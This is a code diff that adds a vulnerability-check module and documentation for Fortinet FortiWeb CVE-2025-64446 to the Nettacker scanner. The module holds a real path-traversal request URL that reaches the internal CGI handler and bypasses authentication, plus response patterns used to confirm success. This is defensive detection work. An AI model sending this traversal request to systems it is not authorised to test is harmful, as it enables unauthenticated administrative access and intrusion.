Add fortiweb CVE 2025 64446

docs/Modules.md

@@ -144,6 +144,7 @@ If you want to scan all ports please define -g 1-65535 range. Otherwise Nettacke
 - '**content_type_options_vuln**' - check the web server for missing 'X-Content-Type-Options'=nosniff header
 - '**crushftp_cve_2025_31161_vuln**' - check the target for CrushFTP CVE-2025-31161 vulnerability
 - '**f5_cve_2020_5902_vuln**' - check the target for F5 RCE CVE-2020-5902 vulnerability
+- '**fortiweb_cve_2025_64446_vuln**' - check the target for Fortinet FortiWeb CVE-2025-64446 path traversal vulnerability (unauthenticated admin bypass, CVSS 9.8)
 - '**heartbleed_vuln**' - check SSL for Heartbleed vulnerability (CVE-2014-0160)
 - '**msexchange_cve_2021_26855**' - check the target for MS Exchange SSRF CVE-2021-26855 (proxylogon/hafnium)
 - '**nextjs_cve_2025_55182_vuln**' - check the target for CVE-2025-55182(React2Shell)
@@ -197,6 +198,7 @@ If you want to scan all ports please define -g 1-65535 range. Otherwise Nettacke
 - '**crushftp_cve_2025_31161_vuln**' – check the target for CrushFTP CVE-2025-31161 vulnerability
 - '**cyberoam_netgenie_cve_2021_38702_vuln**' – check the target for Cyberoam NetGenie CVE-2021-38702
 - '**exponent_cms_cve_2021_38751_vuln**' – check the target for Exponent CMS CVE-2021-38751
+- '**fortiweb_cve_2025_64446_vuln**' – check the target for Fortinet FortiWeb CVE-2025-64446 path traversal vulnerability (unauthenticated admin bypass, CVSS 9.8)
 - '**f5_cve_2020_5902_vuln**' – check the target for F5 RCE CVE-2020-5902 vulnerability
 - '**forgerock_am_cve_2021_35464_vuln**' – check the target for ForgeRock AM CVE-2021-35464
 - '**galera_webtemp_cve_2021_40960_vuln**' – check the target for Galera WebTemplate CVE-2021-40960

nettacker/modules/vuln/fortiweb_cve_2025_64446.yaml

@@ -0,0 +1,55 @@
+info:
+  name: fortiweb_cve_2025_64446_vuln
+  author: Parneet Kaur
+  severity: 9
+  description: >
+    CVE-2025-64446 is a critical relative path traversal vulnerability in Fortinet FortiWeb
+    WAF versions 8.0.1 and earlier. An unauthenticated attacker can send a crafted HTTP request
+    to traverse from the REST API path into the internal CGI handler, bypassing authentication
+    entirely and allowing execution of privileged administrative commands including creation of
+    new administrator accounts. Actively exploited in the wild since October 2025. Added to
+    CISA KEV catalog on November 14, 2025. Fixed in FortiWeb 8.0.2.
+  reference:
+    - https://www.fortiguard.com/psirt/FG-IR-25-513
+    - https://labs.watchtowr.com/when-the-impersonation-function-gets-used-to-impersonate-users-fortinet-fortiweb-auth-bypass/
+    - https://www.cisa.gov/news-events/alerts/2025/11/14/fortinet-releases-security-advisory-relative-path-traversal-vulnerability-affecting-fortiweb
+  profiles:
+    - vuln
+    - http
+    - critical_severity
+    - fortinet
+    - fortiweb
+    - path_traversal
+    - authentication_bypass
+payloads:
+  - library: http
+    steps:
+      - method: get
+        timeout: 3
+        headers:
+          User-Agent: "{user_agent}"
+        allow_redirects: false
+        ssl: false
+        url:
+          nettacker_fuzzer:
+            input_format: "{{schema}}://{target}:{{ports}}/api/v2.0/cmdb/system/admin?/../../../../../cgi-bin/fwbcgi"
+            prefix: ""
+            suffix: ""
+            interceptors:
+            data:
+              schema:
+                - "http"
+                - "https"
+              ports:
+                - 443
+                - 8443
+                - 80
+        response:
+          condition_type: and
+          conditions:
+            status_code:
+              regex: "200"
+              reverse: false
+            content:
+              regex: "super_admin|\"privilege\"|fwbcgi"
+              reverse: false